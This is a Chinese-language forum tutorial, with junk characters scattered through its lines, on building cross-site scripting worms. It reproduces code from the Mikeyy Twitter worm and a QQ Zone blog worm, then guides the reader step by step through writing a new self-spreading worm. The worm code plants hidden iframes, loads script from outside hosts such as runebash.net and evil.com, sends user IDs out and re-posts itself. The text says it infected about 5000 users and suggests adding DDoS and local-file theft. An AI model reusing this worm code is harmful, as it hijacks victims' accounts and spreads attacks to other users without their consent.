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8 L( U9 r/ k2 L# L5 e3 o 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
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7 h4 Q' M. e* T: o9 u 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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$ T, T* O$ J2 ~$ D 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; ( Q4 T4 _4 m' m# r, k8 |
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
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! ^0 c; k# R. @ 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; 2 [8 u# ]8 @, M
4 K8 H' t5 h3 i9 q" a# V0 \ 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; ) f$ @! g1 w ^' R
, n6 V4 ~; v6 ]( k 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; * D# y3 p# I" g7 q$ w! @4 k. H
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19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
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20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; 5 }0 H3 N O9 P
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21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; & C1 \. C6 w- `# L9 B8 H
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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24. ! d* b/ N* m3 g5 A) @" g" K6 q
" g. J* x" Y) ~5 d7 ~ 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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, }; o8 \0 v- Y' I- K: E% N 26. var updateEncode=urlencode(randomUpdate[genRand]);
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27.
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28. var ajaxConn= new XHConn(); 7 K; c V- T! v
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29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
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9 f( W# V' f5 i0 r1 }3 K% Z9 {0 V 30. var _0xf81bx1c="Mikeyy"; ' Z$ W$ }/ @' S* ]% ~/ j$ C, X
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31. var updateEncode=urlencode(_0xf81bx1c);
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7 x# g9 b0 W& O* W' w; A3 ^8 ]9 o4 [ 32. var ajaxConn1= new XHConn();
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33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
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35. var XSS=urlencode(genXSS);
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6 e* R/ f# ~% n* P# y, F' n& c 36. var ajaxConn2= new XHConn(); 9 M7 e4 P0 V9 F- l$ i
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37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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- i$ M. \4 R2 n6 ]/ e! g1 W 38.
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3 F2 F* S& s3 k3 p0 _' J 39. } ; 1 M: ]6 @0 p, Q0 O0 B
! R2 F3 z6 M) T7 u2 \1 l 40. setTimeout(wait(),5250);
3 T E0 R3 M9 [2 Z9 v) ~复制代码QQ空间XSSfunction killErrors() {return true;}
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window.onerror=killErrors;
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" s# ^" C: H1 B- u; _5 B: D; `var shendu;shendu=4;
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//---------------global---v------------------------------------------' k' |- I* l# R \: P4 v
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?9 w" o5 i( m, ]+ T
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var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";1 E8 X2 {! K1 W( V g
& W% A8 @* k; X7 f& m3 \var myblogurl=new Array();var myblogid=new Array();7 N/ m2 l3 }7 P0 q
( c0 l4 u9 T" r+ P- K var gurl=document.location.href;/ I4 u: r, P6 R' A( e( |
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var gurle=gurl.indexOf("com/");$ K% N: D& L: X' e# }: t4 r$ f2 R
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gurl=gurl.substring(0,gurle+3);
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y5 O% H% Q0 @$ k. J2 b var visitorID=top.document.documentElement.outerHTML; O6 `% j4 c: G7 K% H* f
5 j& e; i3 O7 ]8 c3 j$ L I var cookieS=visitorID.indexOf("g_iLoginUin = ");% Z+ E8 u5 r0 T: [6 x% q9 i: x& O
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visitorID=visitorID.substring(cookieS+14);; O+ ]& V; O/ N( [" K( F) H
- K" y) o. z) C8 j3 M$ o3 K cookieS=visitorID.indexOf(","); E" G# x% j# K# X8 u) ^2 G( |
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visitorID=visitorID.substring(0,cookieS);
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2 e B; c# |5 } get_my_blog(visitorID);
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9 \* R6 [: ?- q" w, ]3 W DOshuamy();
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$ Q { J% d3 ?- j6 X4 V( f5 f" d8 u% t
//挂马* [0 c. g8 t6 H& a, T* w) m
! J: E- N+ A& _ g( lfunction DOshuamy(){7 Q$ q [5 o3 k" _+ ], N# V
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var ssr=document.getElementById("veryTitle");
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/ {6 ^; r& H6 K8 [3 Vssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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}
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& J8 _) h, t7 B9 ~+ S. [
+ F" ?3 q0 X; { A4 ?) ~//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气? Z- z* X. l% h) W9 v
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function get_my_blog(visitorID){
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userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象6 r- q8 }+ T2 V7 g% t4 u
& s7 L& n6 L. I; k if(xhr){ //成功就执行下面的
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xhr.open("GET",userurl,false); //以GET方式打开定义的URL- [8 g9 B% u1 L
( q3 n6 o& E, e8 r; `" Z xhr.send();guest=xhr.responseText;% B# b/ r5 y1 v9 Q1 F9 O
) M7 P0 [7 e+ U7 j get_my_blogurl(guest); //执行这个函数
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. n: D) z# Y. P3 ~ J//这里似乎是判断没有登录的: p# k' A6 d/ G
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function get_my_blogurl(guest){
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var mybloglist=guest;
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@8 ]; y% `9 C! N3 x% H" w var myurls;var blogids;var blogide;
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for(i=0;i<shendu;i++){
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5 \+ B. S2 q* ^/ j myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了. K& |+ Z4 r& {4 h8 T2 l
0 ]5 ^% i& _1 P7 s0 o- }- { if(myurls!=-1){ //找到了就执行下面的
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mybloglist=mybloglist.substring(myurls+11);
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myurls=mybloglist.indexOf(')');
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# X1 F$ e4 S0 L5 k- g myblogid=mybloglist.substring(0,myurls);
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}else{break;}- _" r7 ^1 F! j, d/ _
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get_my_testself(); //执行这个函数- I5 S( D O% y! w
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% M/ Y4 {; ?/ l/ |, y' G1 y! U$ @//这里往哪跳就不知道了/ s5 b3 h! O- N9 e) @8 C& L
# a- G6 F- ^6 l! V$ r+ r4 D
function get_my_testself(){$ y, r3 H; D5 b: e3 e# d* }5 V- ^' b7 @
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for(i=0;i<myblogid.length;i++){ //获得blogid的值. p0 P4 E' o" r/ o% E
, Z$ u3 ]8 L4 a' ^; t var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
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8 R. e3 Q) [1 D var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象' Z7 t! T% P5 i1 z; H- h
1 i1 ~3 p) E) Z* Y& G. L
if(xhr2){ //如果成功
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2 @( q- c6 d+ [2 P& o xhr2.open("GET",url,false); //打开上面的那个url( b1 p/ }/ w8 D, m6 z/ z# [4 c
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xhr2.send();: K% g- S4 y- ]6 ^3 d2 T" q% |
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guest2=xhr2.responseText;6 t6 M+ j! q0 G: a2 b5 k
+ [" _+ X8 m$ }- `# {3 q7 W; c, @ var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
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var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串- H! E3 \5 A3 k0 Y9 p
Z0 v7 x1 Z2 G" m if(mycheckmydoit!="-1"){ //返回-1则代表没找到* n" G! t+ T z( ~# u
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targetblogurlid=myblogid; , M, T2 L/ |! f6 k/ C4 O
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add_jsdel(visitorID,targetblogurlid,gurl); //执行它' }4 S* F( p" H( a( P
; J, p# ?+ j( L: d: x break;
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+ u" u! D0 @' D# E7 [# ~# E5 l
if(mycheckit=="-1"){
6 a; M: k+ @* X0 J8 i
. p4 s9 R9 {3 Z0 L% }- T$ K' D; s targetblogurlid=myblogid;
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add_js(visitorID,targetblogurlid,gurl); //执行它9 o/ m# A) r5 x. P9 A
0 S9 I$ n1 L! Y' l% v break;
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1 B0 d. I$ o7 r}
3 U2 z% c, W) [6 H% d$ c; }
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//-------------------------------------- / G) C: U- m ?7 T
( `/ i) w7 X! E. C- I: A: ]7 d% I//根据浏览器创建一个XMLHttpRequest对象
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( A8 B2 u! d! @' d+ Nfunction createXMLHttpRequest(){" r5 g1 X. e7 |9 y# i
1 q1 ?+ `+ }6 L' u2 H
var XMLhttpObject=null; $ @1 F5 K4 @7 H H
3 w( T, o0 @; A/ d d0 B if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} $ O2 p) r s) n* I- V5 |1 L
* R) U2 q4 z; o; \
else
/ _. J, g( u+ t5 Z* l* \! {
6 t; X8 F$ ]- X3 M* I; w# V { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP']; + b) [# Y; ^% I% M" E) k
7 W; D2 B" ~) w; Z1 _+ F+ E0 d
for(var i=0;i<MSXML.length;i++)
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{
2 I; i5 r4 v) E% v2 l% P
1 X- M0 d5 m& y% y b* B try
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% v% S9 E1 F# r. p( p+ p { / y D; x- e" g8 U: S" g
, T. H9 O x3 X8 e7 } XMLhttpObject=new ActiveXObject(MSXML);
; Z! U& q' v% g! P9 n$ D* R7 o! ?" W; t6 Y9 L. r+ ?
break;
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* x6 Z s( i( B( Y } ; T: J& w# u8 @4 B% ?5 }/ Z3 H- s
9 c# f% D: d/ ^- D( ]3 Q- U2 h+ Y; Z3 c
catch (ex) {
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}
; {' N- U0 r& d: c) a; g: p( x$ W8 H( G) g- W0 n
}
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}
: ~ J2 Z z0 o- p. @# I+ t N( h. G/ m- B/ v# D& d) m5 R9 A) s
return XMLhttpObject;0 ^0 ]8 z' Q: h5 m9 u) A0 {; c
, R9 {1 z$ ?0 H5 J$ K
}
% x& s1 y' d! U7 k; X+ m( m' m, C% ]8 d: f2 E
. [# y S* m/ G' b
0 A2 B: T4 u$ s//这里就是感染部分了7 h" P: j }, A% E
3 B) k9 H) }# U. Y/ g& Q
function add_js(visitorID,targetblogurlid,gurl){5 C$ j& _) T1 {7 }) I0 B, P
6 J( i5 ]7 v, b. M: ovar s2=document.createElement('script');" g, t+ `/ y/ @( T: J( ]
& N9 i" R8 @% K" G0 s0 V$ Ls2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();9 H. i! U# }% j, o& s% V5 j
$ _3 e- F- l& X' e, O$ us2.type='text/javascript';
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document.getElementsByTagName('head').item(0).appendChild(s2);- A7 D& ~( U/ T- ?# y: o5 G. e
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}, i7 i0 {0 L5 k' Y
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0 g* ^/ ]' p3 U' U, i6 H6 }+ Lfunction add_jsdel(visitorID,targetblogurlid,gurl){% L& r0 j( B2 @: C. u
" a4 v1 [% Q9 ?: }+ m$ kvar s2=document.createElement('script');
9 V& c3 K. M4 s* X3 |, R! m4 o- q, ?
- q0 [/ f& W9 p& l' ^s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
5 C& `4 m7 [' ~: w) {5 z* ]1 N o
7 p3 F/ b$ @; g' Ts2.type='text/javascript';. L/ i- A, U8 q
: \- q: q5 x) p' z2 E7 qdocument.getElementsByTagName('head').item(0).appendChild(s2);8 y$ K# D7 C h$ L y0 v
7 K. d# u% B+ x" g9 B2 [}
* b9 D" o7 d5 A& y9 D. j8 J3 g复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
( @0 a& O1 D2 E; G' R* S1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)' b3 `, g. u, I! H/ ]4 D- E
' M9 n% R: o# W/ K3 G1 G5 l5 |
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
0 O1 P& L9 k5 i+ H
7 s- `& n1 A6 m1 r) ]综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~9 l0 n5 x# p( U* Q
1 y6 I9 M* e* n) d! e$ a, } y" q' A) ]& z
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.; G( C1 Z6 j+ t8 W( p* H, n: E
6 K; F/ f+ c" d/ t7 }* ]首先,自然是判断不同浏览器,创建不同的对象var request = false;6 H( a1 ]& y+ F! z3 G
+ d2 y8 @4 m( g' g2 A4 t% n
if(window.XMLHttpRequest) {: x( X+ [0 N5 t% w
& e i! \$ h3 g0 Irequest = new XMLHttpRequest();
1 ?2 D) l/ h. G
) e" n# E0 Y3 |; i& g1 P7 P/ Cif(request.overrideMimeType) {# F8 b* R+ e3 [! ^3 h+ i
# N% B4 I7 i" {$ m T9 ~- d$ A! [request.overrideMimeType('text/xml');
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& a" Z) ~/ k. X+ \6 g0 m/ h. G; s( t
} else if(window.ActiveXObject) {
# L7 A- W W8 r9 }7 c1 h& H D' h: _7 z9 w. ^% P. v% j3 g
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];/ C9 C2 d- G6 C, z4 ^( L
: w* t7 r# g: A6 K2 bfor(var i=0; i<versions.length; i++) {8 @, I3 y0 t5 v+ R
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try {
! |1 J _% M& N: l; g
$ J$ H% M' V% I# nrequest = new ActiveXObject(versions);
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! o, Z9 z# A/ K7 T- s} catch(e) {}
* B P. k* M$ a- n9 V# h% ^5 J/ ]6 \7 Z1 {. H) ]
}
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}
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xmlHttpReq=request;
; I( N `7 a H# M {. H复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
: x! G$ h7 o6 I
' x' u+ a( Z* y3 |) P: ? var Browser_Name=navigator.appName;& A! t4 h0 f- `, Q' E& k
. @4 D+ @( [ n* [$ S" ~6 }% Y var Browser_Version=parseFloat(navigator.appVersion);
& h; P3 @ K2 T& Z" L! u: h% F& y1 Z/ p/ s+ y
var Browser_Agent=navigator.userAgent;
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. J& {2 X+ t+ Q6 L# z* T; @1 U- _4 e0 m& N7 S! n
var Actual_Version,Actual_Name;9 f) t: ^3 |! X: n0 a8 h- r
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var is_IE=(Browser_Name=="Microsoft Internet Explorer");4 I+ V" ?! B+ y, [* C- X+ i* L
% S9 }! a4 w, E1 _ m/ G+ } var is_NN=(Browser_Name=="Netscape");
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var is_Ch=(Browser_Name=="Chrome");
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1 \/ C. a0 [* g$ G n
1 E% T7 G" w1 X+ Y0 q \0 Z if(is_NN){
- v- u) e. O) b- ^; M. ?- o- n* y$ x8 f3 e- s5 O
if(Browser_Version>=5.0){) M" e0 l0 B# v8 S. X3 _5 P# l
8 {# d8 L. k% s- Q, i var Split_Sign=Browser_Agent.lastIndexOf("/");5 C t, | N+ F
2 I8 Y- G( _/ N+ _0 F" {
var Version=Browser_Agent.indexOf(" ",Split_Sign);: |9 x- U$ w( E. j0 i4 c
0 j6 V% t' t" u var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
8 e9 A2 p- l# G8 R. B% a8 T% }# C: k. x+ d5 o3 d1 J$ T
1 k: X" h/ s! A/ H2 Y* J. V
8 O/ F# s9 \/ [% q* \9 C/ b# ^ Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
. R& q: J3 z+ y3 c
9 a- q" g, Y7 L& K Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
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0 g/ P; S/ ?! T& H* T else{; B% d6 C* h. k! r
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Actual_Version=Browser_Version;) X; k+ _: k$ Z4 k
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Actual_Name=Browser_Name;
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}
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else if(is_IE){
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3 x9 x. I2 t2 r var Version_Start=Browser_Agent.indexOf("MSIE");* t; B6 u( L2 n2 w' y
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var Version_End=Browser_Agent.indexOf(";",Version_Start);
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Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
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Actual_Name=Browser_Name;
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2 L" f7 A6 Y3 c' H% R g3 ~# G3 r% K- L7 q
if(Browser_Agent.indexOf("Maxthon")!=-1){
* `9 e0 ~; o1 g
. s0 A$ ]% D% i: ?$ q Actual_Name+="(Maxthon)";
7 S- \6 V2 K4 ]0 [. m9 s( V3 g/ [5 W7 _. p w/ g) S, F5 z
}
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else if(Browser_Agent.indexOf("Opera")!=-1){# [7 F) t* R- U
' P+ ?& s' R5 e2 c: l Actual_Name="Opera";8 F4 ^$ o ~3 u" j4 C9 @& b- F
& M( g% R' M# D5 \7 l8 u) |
var tempstart=Browser_Agent.indexOf("Opera");
5 Y* J3 s& ~9 e
& F( i2 M$ K6 M- u( J# { var tempend=Browser_Agent.length;
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Actual_Version=Browser_Agent.substring(tempstart+6,tempend)& D- p1 W% C: K$ Q+ p6 s
) ?% P& B+ \: h; M+ i9 Y8 v i
}
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+ n# R. I* r1 }" x9 a }1 v& E% b- @4 u
% O- j+ G1 i7 t) @
else if(is_Ch){
* m2 r s4 V p1 W$ I& O% h% M$ \. e0 h8 x& F3 b: Q d" E6 {5 j
var Version_Start=Browser_Agent.indexOf("Chrome");' V% m6 x" z' Y3 x
) I8 L& m0 \0 `9 t: }
var Version_End=Browser_Agent.indexOf(";",Version_Start);
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; F" E# [+ \+ F. O8 V! _5 s2 ^ Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
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) M; C# P# Q; t$ \6 @ Actual_Name=Browser_Name;
5 ?2 F0 o) r+ k
$ [7 F1 W7 w9 Q4 ?- g/ i! x
+ t! g+ q4 n t }4 s" O8 M& n' s! Q& J: ?
if(Browser_Agent.indexOf("Maxthon")!=-1){+ p, O* s, d( I, M. Z
, Q6 `5 S6 U( L/ w- {9 m' { Actual_Name+="(Maxthon)";9 E3 y+ K! `. U% w" R) L
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else if(Browser_Agent.indexOf("Opera")!=-1){$ s% s V0 O8 w+ O5 I) S; [
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Actual_Name="Opera";" ?$ N6 a& P- I+ f$ n, ~- \. L: j
1 t/ O! T- o3 D( M% b var tempstart=Browser_Agent.indexOf("Opera");5 h, e" g& h" S# B/ l A* |
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var tempend=Browser_Agent.length;
2 ?* b3 d/ D- S# [, `
. P! }5 i- e, u) P8 f0 d Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
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}
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} a5 |' E# G' J6 w+ J: O( i6 u) `
R5 J7 k0 ?) i- s& S else{
% o9 r5 P W9 j1 B( ^- H" J" r0 q
0 R) a. G/ T* r$ y. K1 ~$ L Actual_Name="Unknown Navigator"
; u" r( w0 R6 K; x. l8 k+ y! y7 j2 b+ \2 r
Actual_Version="Unknown Version"
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% D4 g$ X9 J. D }
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b1 ?# E2 l5 ? J
) t1 {( p$ e) o Q8 D0 i8 y
navigator.Actual_Name=Actual_Name;
; n) u2 b. p' L" s1 b8 _/ }
$ K, D. \' @2 u/ O7 b z navigator.Actual_Version=Actual_Version;
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% d% m- L2 z8 T" P' M
4 V! w- I" n0 {: `& {( Z" P2 u
this.Name=Actual_Name;7 d$ }0 `& I7 }7 [0 D
% x: F$ ^+ j0 v4 i
this.Version=Actual_Version;. e5 ~6 S6 \+ y* U u7 ]* c
2 x; Q. V) d' I1 }
}$ E1 |, d {! O) H
9 X0 V" c6 Y4 r5 W9 W$ k9 U+ }/ f( C browserinfo();* a+ J; f% V+ n% }( F
3 |; S$ S6 R3 i# R4 z M. X
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}5 f5 T7 ^4 b& i/ m9 p. b, i% Y' i# {
# N2 w/ H' k) G
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}6 z$ V8 ?% H+ {0 k$ U
3 _6 f/ ^; R/ v) z2 w4 { if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}- l. I* h& f! a0 [" @, x
4 ~7 }, M1 Y7 S. q7 m
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}" v: P+ j5 b- B, ]
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码+ [. r7 p; Q1 b- r
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码5 l2 Z0 T9 a, F) ?6 _: }7 R, s# D
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
5 g% |& s5 m6 C, f/ x4 }1 G! I6 a8 m; M1 _
xmlHttpReq.send(null);' a/ X2 p( `; m7 R2 m
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var resource = xmlHttpReq.responseText;0 h$ p* z8 x0 U$ H. W
6 b; |9 L9 P2 a0 v0 ]; T, avar id=0;var result;4 I- B. E, P& H" V, m2 \
$ `5 b' k8 J+ e4 v, Uvar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
$ O+ E% `9 U9 ?7 @
. \# X5 L0 m* z( gwhile ((result = patt.exec(resource)) != null) {. c' S' N8 P5 H- |+ I
+ W) H$ f3 d" o0 R( [; J
id++;7 `2 I6 W& }' s/ s& ~; [- M& r
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复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
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1 O/ m) ~$ j' q1 L" qno=resource.search(/my name is/);% P* ?6 m, K+ h$ D( ~, }& D
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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var post="wd="+wd;6 Z4 I# F0 l) M% m3 B2 C% x9 C4 L
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xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.% L& D1 \" [3 }, w* `' `( B
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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. i; J3 L B( y1 w/ D. HxmlHttpReq.setRequestHeader("content-length",post.length); 8 n; G8 P5 S9 F$ e; ~
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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+ B6 M5 d0 `6 H) zxmlHttpReq.send(post);
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{% ]1 q/ k$ W. J$ r
& ^. g. w4 n. R. K# o$ Svar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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5 n) Q1 z2 m! E* t% svar namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.% I* u. V* W/ K3 z1 w6 H C
I2 f. H, p, Z' fvar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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0 ~$ {& k! w9 \) Q9 rxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);+ y0 H3 ~) a& M- s
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");7 n( l# P% J7 d* Q n1 {
: `& p0 m/ L; x- }7 i3 ]) pxmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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xmlHttpReq.send(post); //把传播的信息 POST出去.
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------' x( i* K. ^2 ^5 N4 A
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4 O+ s0 o/ ]) U5 z1 Q8 E. w本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.* Q+ R) B! A6 u* O% @0 Q. l$ k, K
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
( d( [& J7 A+ M操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.1 T% V3 b" ]# V8 F! m1 O' \
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" R& {2 ^" P2 n3 x本文引用文档资料:" B6 e o! A7 d; G' j D
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
; w X) K. p4 g& _Other XmlHttpRequest tricks (Amit Klein, January 2003)
! I3 j6 j% m% n3 g"Cross Site Tracing" (Jeremiah Grossman, January 2003)' N' L' ^" o3 m3 s
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
+ M9 A' i3 v3 _ [空虚浪子心BLOG http://www.inbreak.net
9 ]7 n& e" [" a" t; hXeye Team http://xeye.us/6 h8 Z! X u) r9 x) x
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